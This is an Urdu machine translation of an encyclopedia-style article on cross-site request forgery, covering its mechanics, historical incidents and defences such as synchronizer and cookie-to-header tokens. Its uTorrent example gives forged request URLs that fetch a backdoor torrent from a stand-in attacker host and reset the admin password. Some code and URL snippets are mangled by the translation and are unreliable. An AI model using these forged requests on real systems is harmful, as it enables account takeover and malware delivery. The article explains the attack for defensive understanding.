Cross-site request forgery
کراس سائٹ درخواست جعل سازی، جسے ون کلک اٹیک یا سیشن رائیڈنگ کے نام سے بھی جانا جاتا ہے اور مختصر طور پر سی ایس آر ایف (بعض اوقات سی سرف کہا جاتا ہے) یا ایکس ایس آر ایف، کسی ویب سائٹ یا ویب ایپلی کیشن کا ایک قسم کا بدنیتی پر مبنی استحصال ہے جہاں کسی صارف کی طرف سے غیر مجاز کمانڈ جمع کروائی جاتی ہیں جس پر ویب ایپلی کیشن اعتماد کرتی ہے۔ ایسے بہت سے طریقے ہیں جن میں ایک بدنیتی پر مبنی ویب سائٹ اس طرح کے کمانڈ منتقل کر سکتی ہے۔ خاص طور پر تیار کردہ امیج ٹیگز، پوشیدہ فارم، اور جاوا اسکرپٹ فیچ یا XMLHttpRequests، مثال کے طور پر، یہ سب صارف کے تعامل یا یہاں تک کہ علم کے بغیر بھی کام کر سکتے ہیں۔ کراس سائٹ اسکرپٹنگ (ایکس ایس ایس) کے برعکس، جو کسی مخصوص سائٹ کے لیے صارف کے اعتماد کا استحصال کرتا ہے، سی ایس آر ایف اس اعتماد کا استحصال کرتا ہے جو کسی سائٹ کا صارف کے براؤزر پر ہوتا ہے۔ سی ایس آر ایف حملے میں، ایک معصوم اختتامی صارف کو ایک حملہ آور دھوکہ دے کر ایک ویب درخواست جمع کراتا ہے جس کا ان کا ارادہ نہیں تھا۔ اس کی وجہ سے ویب سائٹ پر ایسے اقدامات کیے جا سکتے ہیں جن میں نادانستہ کلائنٹ یا سرور ڈیٹا کا رساو، سیشن کی حالت میں تبدیلی، یا اختتامی صارف کے اکاؤنٹ میں ہیرا پھیری شامل ہو سکتی ہے۔ "سی ایس آر ایف" کی اصطلاح سی ایس آر ایف کے حملوں کے خلاف دفاع میں ایک مخفف کے طور پر بھی استعمال ہوتی ہے، جیسے ایسی تکنیکیں جو ہیڈر ڈیٹا، فارم ڈیٹا، یا کوکیز کا استعمال کرتی ہیں، تاکہ اس طرح کے حملوں کی جانچ اور روک تھام کی جا سکے۔ خصوصیات سی ایس آر ایف حملے میں، حملہ آور کا مقصد ایک بے گناہ شکار کو نادانستہ طور پر بدنیتی سے تیار کردہ ویب درخواست کسی ایسی ویب سائٹ پر جمع کروانا ہوتا ہے جس تک متاثرہ شخص کو رسائی حاصل ہو۔ اس ویب درخواست کو یو آر ایل پیرامیٹرز، کوکیز اور دیگر ڈیٹا کو شامل کرنے کے لیے تیار کیا جا سکتا ہے جو درخواست پر کارروائی کرنے والے ویب سرور کو معمول کے مطابق نظر آتے ہیں۔ خطرے میں ویب ایپلی کیشنز ہیں جو قابل اعتماد اور تصدیق شدہ صارفین کے ان پٹ کی بنیاد پر صارف کو اجازت دینے کی ضرورت کے بغیر اقدامات انجام دیتی ہیں (مثال کے طور پر۔ پاپ اپ تصدیق کے ذریعے) مخصوص عمل۔ ایک صارف جو صارف کے ویب براؤزر میں محفوظ کردہ کوکی کے ذریعے تصدیق شدہ ہے وہ نادانستہ طور پر کسی ایسی سائٹ کو ایچ ٹی ٹی پی کی درخواست بھیج سکتا ہے جو صارف پر بھروسہ کرتی ہے اور اس طرح ناپسندیدہ کارروائی کا سبب بنتی ہے۔ ویب براؤزرز کی ایک عمومی خاصیت یہ ہے کہ وہ خود بخود اور پوشیدہ طور پر کسی بھی کوکیز (بشمول سیشن کوکیز اور دیگر) کو شامل کریں گے جو کسی دیئے گئے ڈومین کے ذریعہ اس ڈومین پر بھیجی گئی کسی بھی ویب درخواست میں استعمال ہوتی ہیں۔ اس جائیداد کا استحصال سی ایس آر ایف کے حملوں کے ذریعے کیا جاتا ہے۔ اس صورت میں جب کسی صارف کو دھوکہ دیا جاتا ہے کہ وہ نادانستہ طور پر اپنے براؤزر کے ذریعے درخواست جمع کراتا ہے تو یہ خود بخود شامل کوکیز جعلی درخواست کو ویب سرور پر حقیقی ظاہر کرنے کا سبب بنیں گی اور یہ ڈیٹا واپس کرنے، سیشن کی حالت میں ہیرا پھیری کرنے، یا متاثرہ کے اکاؤنٹ میں تبدیلیاں کرنے سمیت مناسب طریقے سے درخواست کردہ اقدامات انجام دے گی۔ سی ایس آر ایف حملے کے کام کرنے کے لیے، حملہ آور کو دوبارہ پیش کرنے کے قابل ویب درخواست کی شناخت کرنی چاہیے جو کسی مخصوص عمل کو انجام دیتی ہے جیسے کہ ٹارگٹ پیج پر اکاؤنٹ کا پاس ورڈ تبدیل کرنا۔ ایک بار اس طرح کی درخواست کی شناخت ہو جانے کے بعد، ایک لنک بنایا جا سکتا ہے جو اس بدنیتی پر مبنی درخواست کو پیدا کرتا ہے اور اس لنک کو حملہ آور کے کنٹرول میں کسی پیج پر سرایت کیا جا سکتا ہے۔ یہ لنک اس طرح رکھا جا سکتا ہے کہ متاثرہ شخص کے لیے لنک پر کلک کرنا بھی ضروری نہ ہو۔ مثال کے طور پر، یہ متاثرہ کو بھیجے گئے ای میل پر ایچ ٹی ایم ایل امیج ٹیگ کے اندر سرایت کیا جا سکتا ہے جو متاثرہ شخص کے اپنا ای میل کھولنے پر خود بخود لوڈ ہو جائے گا۔ ایک بار جب متاثرہ شخص لنک پر کلک کر دیتا ہے، تو اس کا براؤزر خود بخود اس ویب سائٹ کے ذریعہ استعمال ہونے والی کوئی بھی کوکیز شامل کر لے گا اور ویب سرور کو درخواست جمع کر دے گا۔ ویب سرور جعل سازی کی شناخت نہیں کر سکے گا کیونکہ درخواست ایک ایسے صارف نے کی تھی جس نے لاگ ان کیا تھا، اور تمام مطلوبہ کوکیز جمع کروائیں۔ کراس سائٹ درخواست جعل سازی ویب براؤزر کے خلاف الجھن میں ڈپٹی حملے کی ایک مثال ہے کیونکہ ویب براؤزر کو کم مراعات یافتہ حملہ آور کی طرف سے جعلی درخواست جمع کرنے میں دھوکہ دیا جاتا ہے۔ سی ایس آر ایف میں عام طور پر درج ذیل خصوصیات ہوتی ہیں: اس میں ایسی سائٹیں شامل ہوتی ہیں جو صارف کی شناخت پر انحصار کرتی ہیں۔ یہ اس شناخت پر سائٹ کے اعتماد کا استحصال کرتا ہے۔ یہ صارف کے براؤزر کو اس ہدف سائٹ پر HTTP درخواستیں بھیجنے کے لیے چال چلاتا ہے جہاں صارف پہلے ہی تصدیق شدہ ہے۔ اس میں ایچ ٹی ٹی پی کی درخواستیں شامل ہیں جن کے مضر اثرات ہوتے ہیں۔ تاریخ سی ایس آر ایف ٹوکن کی کمزوریوں کو 2001 سے جانا جاتا ہے اور کچھ معاملات میں ان کا استحصال کیا جاتا ہے۔ چونکہ یہ صارف کے آئی پی ایڈریس سے انجام دیا جاتا ہے، کچھ ویب سائٹ لاگ میں سی ایس آر ایف کا ثبوت نہیں ہو سکتا ہے۔ استحصال کی کم اطلاع دی جاتی ہے، کم از کم عوامی طور پر، اور 2007 تک کچھ اچھی طرح سے دستاویزی مثالیں موجود تھیں: 2006 میں نیٹ فلکس کی ویب سائٹ میں سی ایس آر ایف کے لیے متعدد خطرات تھے، جس کی وجہ سے حملہ آور کو متاثرہ کے کرایے کی قطار میں ڈی وی ڈی شامل کرنے، اکاؤنٹ پر شپنگ ایڈریس تبدیل کرنے، یا اکاؤنٹ کو مکمل طور پر سمجھوتہ کرنے کے لیے متاثرہ کے لاگ ان کی اسناد کو تبدیل کرنے جیسے اقدامات کرنے کی اجازت مل سکتی تھی۔ آئی این جی ڈائریکٹ کی آن لائن بینکنگ ویب ایپلی کیشن سی ایس آر ایف کے حملے کا شکار تھی جس نے غیر قانونی رقم کی منتقلی کی اجازت دی۔ مقبول ویڈیو ویب سائٹ یوٹیوب کو بھی 2008 میں سی ایس آر ایف کا خطرہ تھا اور اس نے کسی بھی حملہ آور کو کسی بھی صارف کے تقریبا تمام اعمال انجام دینے کی اجازت دی۔ میکفی سیکیور بھی سی ایس آر ایف کے لیے کمزور تھا اور اس نے حملہ آوروں کو اپنے کمپنی کے نظام کو تبدیل کرنے کی اجازت دی۔ یہ نئے ورژن میں طے کیا گیا ہے۔ 2018 میں ویب سے چلنے والے آلات کے خلاف نئے حملے کیے گئے، جن میں راؤٹرز کی ڈی این ایس سیٹنگز کو تبدیل کرنے کی کوششیں بھی شامل ہیں۔ کچھ راؤٹر مینوفیکچررز نے تحفظ کو بہتر بنانے کے لیے جلد بازی میں فرم ویئر اپ ڈیٹس جاری کیں، اور صارفین کو خطرے کو کم کرنے کے لیے راؤٹر کی ترتیبات کو تبدیل کرنے کا مشورہ دیا۔ "واضح حفاظتی وجوہات" کا حوالہ دیتے ہوئے تفصیلات جاری نہیں کی گئیں۔ مثال حملہ آور جو دوبارہ پیش کرنے کے قابل لنک تلاش کر سکتے ہیں جو ہدف کے صفحے پر ایک مخصوص کارروائی انجام دیتا ہے جب کہ شکار لاگ ان ہوتا ہے اس طرح کے لنک کو اس صفحے پر سرایت کر سکتا ہے جسے وہ کنٹرول کرتے ہیں اور شکار کو دھوکہ دے کر اسے کھول سکتے ہیں۔ حملہ آور کا لنک کسی ایسی جگہ پر رکھا جا سکتا ہے جہاں ہدف سائٹ میں لاگ ان ہونے کے دوران شکار کے جانے کا امکان ہو (مثال کے طور پر، ایک ڈسکشن فورم)، یا کسی ایچ ٹی ایم ایل ای میل باڈی یا منسلک میں بھیجا جا سکتا ہے۔ یو ٹورنٹ (CVE-2008-6586) میں ایک حقیقی CSRF کمزوری نے اس حقیقت کا استحصال کیا کہ اس کے ویب کنسول کو لوکل ہوسٹ پر قابل رسائی بنایا گیا: 8080 نے ایک سادہ GET درخواست کا استعمال کرتے ہوئے اہم کارروائیوں کو انجام دینے کی اجازت دی: ایک. ٹورنٹ فائل ڈاؤن لوڈ کرنے پر مجبور کریں HTTP:// لوکل ہوسٹ: 8080/GUI/? ایکشن = ایڈ-ارل & s = http://evil.example.com/backdoor.torrent یو ٹورنٹ ایڈمنسٹریٹر کا پاس ورڈ تبدیل کریں HTTP:// لوکل ہوسٹ: 8080/GUI/? ایکشن = سیٹ سیٹنگ & s = webui.password&v=eviladmin فورمز اور ای میل اسپیم پر بدنیتی پر مبنی، خودکار ایکشن والے ایچ ٹی ایم ایل امیج عناصر کو رکھ کر حملے شروع کیے گئے تھے، تاکہ ان صفحات پر آنے والے براؤزر خود بخود انہیں کھول دیں، ان صفحات کو کھولنے کے ساتھ ہی کمزور یو ٹورنٹ ورژن چلانے والے لوگ حملے کا شکار تھے۔ امیج ٹیگز کا استعمال کرتے ہوئے سی ایس آر ایف کے حملے اکثر انٹرنیٹ فورمز سے کیے جاتے ہیں، جہاں صارفین کو تصاویر پوسٹ کرنے کی اجازت ہوتی ہے لیکن جاوا اسکرپٹ کی نہیں، مثال کے طور پر بی بی سی کوڈ کا استعمال کرتے ہوئے: [آئی ایم جی] HTTP:// مقامی میزبان: 8080/GUI/? عمل = اضافہ-یو آر ایل & s = http://evil.example.com/backdoor.torrent [// IMG] جب مقامی یو ٹورنٹ ایپلی کیشن پر حملے کے لنک تک رسائی حاصل ہوتی ہے، تو براؤزر ہمیشہ خود بخود اس ڈومین کے لیے کوئی بھی موجودہ کوکیز بھی بھیج دیتا ہے۔ ویب براؤزرز کی یہ عمومی خاصیت سی ایس آر ایف حملوں کو ان کی ٹارگٹڈ کمزوریوں سے فائدہ اٹھانے اور دشمنانہ کارروائیوں کو انجام دینے کے قابل بناتی ہے جب تک کہ صارف حملے کے وقت ٹارگٹ ویب سائٹ (اس مثال میں، مقامی یو ٹورنٹ ویب انٹرفیس) میں لاگ ان ہو۔ اوپر بیان کردہ uTorrent مثال میں، حملے کو اس حقیقت کی وجہ سے سہولت فراہم کی گئی کہ uTorrent کے ویب انٹرفیس نے ریاست کو تبدیل کرنے والی اہم کارروائیوں (اسناد تبدیل کرنے، فائل ڈاؤن لوڈ کرنے وغیرہ) کے لیے GET درخواست کا استعمال کیا۔ )، جو واضح طور پر حوصلہ شکنی کرتا ہے: اس مفروضے کی وجہ سے، ویب فریم ورک میں موجود بہت سے سی ایس آر ایف کی روک تھام کے طریقہ کار جی ای ٹی کی درخواستوں کا احاطہ نہیں کریں گے، بلکہ تحفظ کا اطلاق صرف ایچ ٹی ٹی پی کے ان طریقوں پر کریں گے جن کا مقصد ریاست کو تبدیل کرنا ہے۔ جعلی لاگ ان کی درخواستیں ایک حملہ آور حملہ آور کی اسناد کا استعمال کرتے ہوئے شکار کو ٹارگٹ ویب سائٹ میں لاگ ان کرنے کی درخواست جعلی بنا سکتا ہے ؛ اسے لاگ ان سی ایس آر ایف کے نام سے جانا جاتا ہے۔ لاگ ان سی ایس آر ایف مختلف نئے حملوں کو ممکن بناتا ہے ؛ مثال کے طور پر، ایک حملہ آور بعد میں اپنی جائز اسناد کے ساتھ سائٹ پر لاگ ان کر سکتا ہے اور نجی معلومات جیسے سرگرمی کی تاریخ دیکھ سکتا ہے جو اکاؤنٹ میں محفوظ کی گئی ہے۔ یہ حملہ گوگل اور یاہو کے خلاف کیا گیا ہے۔ HTTP فعل اور CSRF قسم کے لحاظ سے، HTTP درخواست کے طریقے CSRF حملوں کے لیے ان کی حساسیت میں مختلف ہوتے ہیں (ویب براؤزرز کے ذریعے ان کے ہینڈلنگ میں فرق کی وجہ سے)۔ لہذا، حملے کے خلاف حفاظتی اقدامات HTTP درخواست کے طریقہ کار پر منحصر ہوتے ہیں۔ ایچ ٹی ٹی پی جی ای ٹی میں سی ایس آر ایف کا استحصال معمولی ہے، اوپر بیان کردہ طریقوں کا استعمال کرتے ہوئے، جیسے کہ ہیرا پھیری والے پیرامیٹرز پر مشتمل ایک سادہ ہائپر لنک اور خود بخود آئی ایم جی ٹیگ کے ذریعے لوڈ کیا جاتا ہے۔ تاہم ایچ ٹی ٹی پی کی تفصیلات کے مطابق، جی ای ٹی کو ایک محفوظ طریقہ کے طور پر استعمال کیا جانا چاہیے، یعنی ایپلی کیشن میں صارف کی حالت کو نمایاں طور پر تبدیل نہیں کرنا چاہیے۔ اس طرح کی کارروائیوں کے لیے جی ای ٹی استعمال کرنے والی ایپلی کیشنز کو ایچ ٹی ٹی پی پوسٹ میں تبدیل ہونا چاہیے یا اینٹی-سی ایس آر ایف پروٹیکشن کا استعمال کرنا چاہیے۔ سی ایس آر ایف کے لیے ایچ ٹی ٹی پی پوسٹ کی کمزوری استعمال کے منظر نامے پر منحصر ہے: پوسٹ کی آسان ترین شکل میں ڈیٹا کو ایک استفسار سٹرنگ کے طور پر انکوڈ کیا گیا ہے (فیلڈ 1 = ویلیو 1 اور فیلڈ 2 = ویلیو 2) سی ایس آر ایف حملہ آسانی سے ایک سادہ ایچ ٹی ایم ایل فارم کا استعمال کرتے ہوئے لاگو کیا جاتا ہے اور اینٹی سی ایس آر ایف اقدامات کو لاگو کیا جانا چاہیے۔ اگر ڈیٹا کسی اور فارمیٹ (جے ایس او این، ایکس ایم ایل) میں بھیجا جاتا ہے تو ایک معیاری طریقہ یہ ہے کہ ایک ہی اصل کی پالیسی (ایس او پی) اور کراس اوریجن ریسورس شیئرنگ (سی او آر ایس) کے ذریعے روکے گئے سی ایس آر ایف حملوں کے ساتھ ایکس ایم ایل ایچ ٹی ٹی پی ریکوسٹ کا استعمال کرتے ہوئے پوسٹ کی درخواست جاری کی جائے۔ این سی ٹی وائی پی ای خاصیت کا استعمال کرتے ہوئے ایک سادہ ایچ ٹی ایم ایل فارم سے من مانی مواد بھیجنے کی ایک تکنیک ہے۔ اس طرح کی جعلی درخواست کو متن/سادہ مواد کی قسم کے لحاظ سے جائز لوگوں سے ممتاز کیا جا سکتا ہے، لیکن اگر یہ سرور پر نافذ نہیں کیا جاتا ہے تو سی ایس آر ایف کو دیگر ایچ ٹی ٹی پی طریقوں (پٹ، ڈیلیٹ وغیرہ) پر عمل درآمد کیا جا سکتا ہے۔ سی ایس آر ایف کو روکنے کے لیے صرف ایک ہی اصل کی پالیسی (ایس او پی) اور کراس اوریجن ریسورس شیئرنگ (سی او آر ایس) کے ساتھ ایکس ایم ایل ایچ ٹی ٹی پی ریکوسٹ کا استعمال کرتے ہوئے جاری کیا جا سکتا ہے۔ تاہم یہ اقدامات ان ویب سائٹس پر فعال نہیں ہوں گے جو انہیں ایکسیس-کنٹرول-الاو-اوریجن: * ہیڈر کا استعمال کرتے ہوئے واضح طور پر غیر فعال کرتی ہیں۔ سی ایس آر ایف کے لیے دیگر نقطہ نظر مزید برآں، جب کہ عام طور پر ایک جامد قسم کے حملے کے طور پر بیان کیا جاتا ہے، سی ایس آر ایف کو کراس سائٹ اسکرپٹنگ حملے کے لیے پے لوڈ کے حصے کے طور پر بھی متحرک طور پر بنایا جا سکتا ہے، جیسا کہ سیمی ورم کے ذریعے دکھایا گیا ہے، یا آف سائٹ مواد کے ذریعے لیک ہونے والی سیشن کی معلومات سے اڑتے ہوئے تعمیر کیا گیا ہے اور اسے بدنیتی پر مبنی یو آر ایل کے طور پر ہدف کو بھیجا گیا ہے۔ سی ایس آر ایف ٹوکن کسی کلائنٹ کو حملہ آور کے ذریعے سیشن فکسشن یا دیگر کمزوریوں کی وجہ سے بھیجے جا سکتے ہیں، یا بروٹ فورس حملے کے ذریعے اندازہ لگایا جا سکتا ہے، جو ایک بدنیتی پر مبنی پیج پر پیش کیا جاتا ہے جو ہزاروں ناکام درخواستیں پیدا کرتا ہے۔ "ڈائنامک سی ایس آر ایف" کی اٹیک کلاس، یا سیشن کے لیے مخصوص جعل سازی کے لیے فی کلائنٹ پے لوڈ کا استعمال، 2009 میں ناتھن ہیمیل اور شان مویر نے بلیک ہیٹ بریفنگز میں بیان کیا تھا، حالانکہ ٹیکسونومی کو ابھی وسیع پیمانے پر اپنایا جانا باقی ہے۔ متحرک سی ایس آر ایف حملوں کی تشکیل کے لیے ایک نیا ویکٹر اورین اوفر نے جنوری 2012 میں ایک مقامی او ڈبلیو اے ایس پی چیپٹر میٹنگ میں پیش کیا تھا-"اے جے اے ایکس ہیمر-متحرک سی ایس آر ایف"۔ سی ایس آر ایف ٹوکن کی کمزوریوں کے لیے اثرات کی شدت کی پیمائش جاری کی گئی ہے جس کے نتیجے میں روٹ مراعات کے ساتھ ریموٹ کوڈ پر عمل درآمد کے ساتھ ساتھ ایک ایسی کمزوری بھی ہے جو روٹ سرٹیفکیٹ سے سمجھوتہ کر سکتی ہے، جو عوامی کلیدی بنیادی ڈھانچے کو مکمل طور پر کمزور کر دے گی۔ حدود کراس سائٹ کی درخواست کی جعل سازی کے کامیاب ہونے کے لیے کئی چیزیں ہونی چاہئیں: حملہ آور کو یا تو ایسی سائٹ کو نشانہ بنانا چاہیے جو ریفرر ہیڈر کو چیک نہیں کرتی ہے یا کسی شکار کو براؤزر یا پلگ ان سے نشانہ بنانا چاہیے جو ریفرر کی جعل سازی کی اجازت دیتا ہے۔ حملہ آور کو ٹارگٹ سائٹ پر ایک فارم جمع کرانا چاہیے، یا ایک ایسا یو آر ایل تلاش کرنا چاہیے جس کے مضر اثرات ہوں، جو کچھ کرتا ہو (مثال کے طور پر، رقم منتقل کرتا ہے، یا شکار کا ای میل ایڈریس یا پاس ورڈ تبدیل کرتا ہے)۔ حملہ آور کو تمام فارموں یا یو آر ایل ان پٹ کے لیے صحیح اقدار کا تعین کرنا چاہیے۔ اگر ان میں سے کسی خفیہ تصدیق کی اقدار یا آئی ڈیز کی ضرورت ہو جس کا حملہ آور اندازہ نہیں لگا سکتا، تو حملہ ممکنہ طور پر ناکام ہو جائے گا (جب تک کہ حملہ آور اپنے اندازے میں انتہائی خوش قسمت نہ ہو)۔ حملہ آور کو شکار کو بدنیتی پر مبنی کوڈ والے ویب پیج پر راغب کرنا چاہیے جب کہ شکار ہدف سائٹ پر لاگ ان ہوتا ہے۔ حملہ اندھا ہے: حملہ آور یہ نہیں دیکھ سکتا کہ ٹارگٹ ویب سائٹ جعلی درخواستوں کے جواب میں شکار کو کیا واپس بھیجتی ہے، جب تک کہ وہ ٹارگٹ ویب سائٹ پر کراس سائٹ اسکرپٹنگ یا دیگر بگ کا استحصال نہ کرے۔ اسی طرح، حملہ آور صرف کسی بھی لنک کو نشانہ بنا سکتا ہے یا ابتدائی جعلی درخواست کے بعد آنے والے کسی بھی فارم کو جمع کر سکتا ہے اگر اس کے بعد کے لنک یا فارم بھی اسی طرح پیش گوئی کے قابل ہوں۔ (کسی صفحہ پر متعدد تصاویر شامل کرکے، یا کلکس کے درمیان تاخیر متعارف کرانے کے لیے جاوا اسکرپٹ کا استعمال کرکے متعدد اہداف کی تقلید کی جا سکتی ہے۔) روک تھام زیادہ تر سی ایس آر ایف روک تھام کی تکنیکیں درخواستوں میں اضافی تصدیق کے ڈیٹا کو شامل کرکے کام کرتی ہیں جو ویب ایپلی کیشن کو غیر مجاز مقامات سے درخواستوں کا پتہ لگانے کی اجازت دیتی ہیں۔ سنکرونائزر ٹوکن پیٹرن سنکرونائزر ٹوکن پیٹرن (ایس ٹی پی) ایک ایسی تکنیک ہے جہاں ایک ٹوکن، ہر درخواست کے لیے ایک خفیہ اور منفرد قدر، ویب ایپلی کیشن کے ذریعے تمام ایچ ٹی ایم ایل فارموں میں سرایت کی جاتی ہے اور سرور سائیڈ پر تصدیق کی جاتی ہے۔ ٹوکن کسی بھی طریقے سے تیار کیا جا سکتا ہے جو غیر متوقع اور انفرادیت کو یقینی بناتا ہے (مثال کے طور پر۔ بے ترتیب بیج کی ہیش چین کا استعمال کرتے ہوئے)۔ اس طرح حملہ آور ان کی تصدیق کے لیے اپنی درخواستوں میں درست ٹوکن رکھنے سے قاصر ہے۔ ایچ ٹی ایم ایل کی شکل میں Django کے ذریعہ سیٹ کردہ ایس ٹی پی کی مثال: <ان پٹ ٹائپ = "پوشیدہ" نام = "csrfmidlewaretoken" ویلیو = "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt"/> ایس ٹی پی سب سے زیادہ مطابقت رکھتا ہے کیونکہ یہ صرف ایچ ٹی ایم ایل پر انحصار کرتا ہے، لیکن ہر درخواست پر ٹوکن کی توثیق کی جانچ سے وابستہ بوجھ کی وجہ سے سرور کی طرف کچھ پیچیدگی متعارف کراتا ہے۔ چونکہ ٹوکن منفرد اور غیر متوقع ہے، اس لیے یہ واقعات کی مناسب ترتیب کو بھی نافذ کرتا ہے (جیسے. اسکرین 1، پھر 2، پھر 3) جو استعمال کا مسئلہ اٹھاتا ہے (مثال کے طور پر۔ صارف متعدد ٹیب کھولتا ہے)۔ فی درخواست سی ایس آر ایف ٹوکن کے بجائے فی سیشن سی ایس آر ایف ٹوکن کا استعمال کرکے اس میں نرمی کی جا سکتی ہے۔ کوکی ٹو ہیڈر ٹوکن ویب ایپلی کیشنز جو اپنی زیادہ تر کارروائیوں کے لیے جاوا اسکرپٹ استعمال کرتی ہیں وہ درج ذیل اینٹی سی ایس آر ایف تکنیک استعمال کر سکتی ہیں: متعلقہ سرور سیشن کے بغیر ابتدائی دورے پر، ویب ایپلی کیشن کوکی سیٹ کرتی ہے۔ کوکی میں عام طور پر ایک بے ترتیب ٹوکن ہوتا ہے جو ویب سیشن سیٹ کوکی کی زندگی تک یکساں رہ سکتا ہے: _ _ ہوسٹ-csrf _ ٹوکن = i8XNjC4b8KVok4uw5RftR38Wgp2Bfwql ؛ میعاد ختم ہوتی ہے = تھو، 23 جولائی 2015 10:25:33 GMT ؛ میکس ایج = 31449600 ؛ پاتھ =/؛ سم سائٹ = لکس ؛ کلائنٹ کی طرف کام کرنے والی سیکیور جاوا اسکرپٹ اس کی قیمت پڑھتی ہے اور اسے ہر لین دین کی درخواست X-Csrf-ٹوکن کے ساتھ بھیجے گئے کسٹم HTTP ہیڈر میں کاپی کرتی ہے: i8XNjC4b8KVok4uw بدمعاش فائل یا ای میل سے چلنے والی جاوا اسکرپٹ کو اپنی مرضی کے مطابق ہیڈر میں کاپی کرنے کے لیے کوکی ویلیو کو کامیابی سے پڑھنے کے قابل نہیں ہونا چاہیے۔ اگرچہ کوکی خود بخود بدمعاش درخواست کے ساتھ بھیجی جا سکتی ہے، کوکیز سم سائٹ پالیسی کے تابع، سرور پھر بھی ایک درست ہیڈر کی توقع کرے گا۔ سی ایس آر ایف ٹوکن خود منفرد اور غیر متوقع ہونا چاہیے۔ یہ تصادفی طور پر تیار کیا جا سکتا ہے، یا یہ HMAC کا استعمال کرتے ہوئے سیشن ٹوکن سے اخذ کیا جا سکتا ہے: csrf _ tocken = HMAC (سیشن _ tocken، ایپلیکیشن _ سیکرٹ) CSRF ٹوکن کوکی میں HTTPOnly فلیگ نہیں ہونا چاہیے، کیونکہ اس کا مقصد جاوا اسکرپٹ کے ذریعے ڈیزائن کے مطابق پڑھنا ہے۔ اس تکنیک کو بہت سے جدید فریم ورک، جیسے Django اور AngularJS کے ذریعے نافذ کیا جاتا ہے۔ کیونکہ ٹوکن پورے صارف سیشن میں مستقل رہتا ہے، یہ AJAX ایپلی کیشنز کے ساتھ اچھی طرح سے کام کرتا ہے، لیکن ویب ایپلی کیشن میں واقعات کی ترتیب کو نافذ نہیں کرتا ہے۔ اس تکنیک کے ذریعے فراہم کردہ تحفظ کو ناکام بنایا جا سکتا ہے اگر ٹارگٹ ویب سائٹ مندرجہ ذیل تکنیکوں میں سے کسی ایک کا استعمال کرتے ہوئے اپنی ایک ہی اصل کی پالیسی کو غیر فعال کر دیتی ہے: سلور لائٹ کنٹرول فائل تک غیر ارادی رسائی فراہم کرنے والی فائل فلیش موویز تک غیر ارادی رسائی فراہم کرتی ہے ڈبل کوکی جمع کروائیں اسی طرح کوکی ٹو ہیڈر اپروچ کے لیے، لیکن جاوا اسکرپٹ کو شامل کیے بغیر، سائٹ کوکی کے طور پر سی ایس آر ایف ٹوکن سیٹ کر سکتی ہے، اور اسے ہر ایچ ٹی ایم ایل فارم میں ایک پوشیدہ فیلڈ کے طور پر بھی داخل کر سکتی ہے۔ جب فارم جمع کرایا جاتا ہے، تو سائٹ چیک کر سکتی ہے کہ کوکی ٹوکن فارم ٹوکن سے میل کھاتا ہے۔ ایک ہی اصل کی پالیسی حملہ آور کو ہدف ڈومین پر کوکیز کو پڑھنے یا ترتیب دینے سے روکتی ہے، لہذا وہ اپنی تیار کردہ شکل میں درست ٹوکن نہیں ڈال سکتے۔ سنکرونائزر پیٹرن کے مقابلے میں اس تکنیک کا فائدہ یہ ہے کہ ٹوکن کو سرور پر محفوظ کرنے کی ضرورت نہیں ہے۔ سیمسائٹ کوکی کی خاصیت ایک اضافی "سیمسائٹ" خاصیت شامل کی جا سکتی ہے جب سرور کوکی سیٹ کرتا ہے، براؤزر کو ہدایت دیتا ہے کہ کوکی کو کراس سائٹ کی درخواستوں سے منسلک کرنا ہے یا نہیں۔ اگر یہ خاصیت "سخت" پر سیٹ کی گئی ہے، تو کوکی صرف اسی سائٹ کی درخواستوں پر بھیجی جائے گی، جس سے سی ایس آر ایف غیر موثر ہو جائے گی۔ تاہم، اس کے لیے براؤزر کو خاصیت کو پہچاننے اور صحیح طریقے سے نافذ کرنے کی ضرورت ہوتی ہے۔ کلائنٹ سائیڈ سیف گارڈز براؤزر ایکسٹینشنز جیسے کہ ریکویسٹ پالیسی (موزیلا فائر فاکس کے لیے) یا (فائر فاکس اور گوگل کروم/کرومیم دونوں کے لیے) کراس سائٹ درخواستوں کے لیے ڈیفالٹ انکار پالیسی فراہم کر کے سی ایس آر ایف کو روک سکتے ہیں۔ تاہم، یہ بہت سی ویب سائٹس کے معمول کے عمل میں نمایاں طور پر مداخلت کر سکتا ہے۔ سی ایس فائر ایکسٹینشن (فائر فاکس کے لیے بھی) کراس سائٹ کی درخواستوں سے تصدیق کی معلومات کو ہٹا کر، عام براؤزنگ پر کم اثر کے ساتھ سی ایس آر ایف کے اثرات کو کم کر سکتی ہے۔ فائر فاکس کے لیے نو اسکرپٹ ایکسٹینشن سی ایس آر ایف کے خطرات کو قابل اعتماد سائٹوں سے ممتاز کرکے، اور غیر قابل اعتماد سائٹوں کے ذریعے قابل اعتماد سائٹوں کو بھیجی گئی پوسٹ کی درخواستوں سے تصدیق اور پے لوڈ کو ہٹا کر کم کرتی ہے۔ نو اسکرپٹ میں ایپلیکیشن باؤنڈری انفورسر ماڈیول انٹرنیٹ پیجز سے مقامی سائٹس پر بھیجی گئی درخواستوں کو بھی بلاک کرتا ہے (جیسے۔ لوکل ہوسٹ)، مقامی خدمات (جیسے یو ٹورنٹ) یا راؤٹرز پر سی ایس آر ایف کے حملوں کو روکنا۔ فائر فاکس کے لیے سیلف ڈیسٹرکٹنگ کوکیز کی توسیع براہ راست سی ایس آر ایف سے تحفظ فراہم نہیں کرتی ہے، لیکن جیسے ہی کوکیز کو کھلے ٹیب سے منسلک نہیں کیا جاتا ہے انہیں حذف کر کے حملے کی ونڈو کو کم کر سکتی ہے۔ دیگر تکنیکیں تاریخی طور پر سی ایس آر ایف کی روک تھام کے لیے مختلف دیگر تکنیکیں استعمال کی گئی ہیں یا تجویز کی گئی ہیں: اس بات کی تصدیق کرنا کہ درخواست کے ہیڈرز میں ایکس-ریکوسٹڈ-ود ہے (جو روبی آن ریلز نے v2.0 سے پہلے اور Django نے v1.2.5 سے پہلے استعمال کیا ہے)، یا HTTP ریفرر ہیڈر اور/یا HTTP اوریجن ہیڈر کو چیک کرنا۔ ایچ ٹی ٹی پی ریفرر ہیڈر کو چیک کرنا یہ دیکھنے کے لیے کہ آیا درخواست کسی مجاز صفحہ سے آ رہی ہے، عام طور پر سرایت شدہ نیٹ ورک ڈیوائسز کے لیے استعمال ہوتا ہے کیونکہ اس سے میموری کی ضروریات میں اضافہ نہیں ہوتا ہے۔ تاہم، ریفرر ہیڈر کو چھوڑنے والی درخواست کو غیر مجاز سمجھا جانا چاہیے کیونکہ حملہ آور ایف ٹی پی یا ایچ ٹی ٹی پی ایس یو آر ایل سے درخواستیں جاری کر کے ریفرر ہیڈر کو دبا سکتا ہے۔ یہ 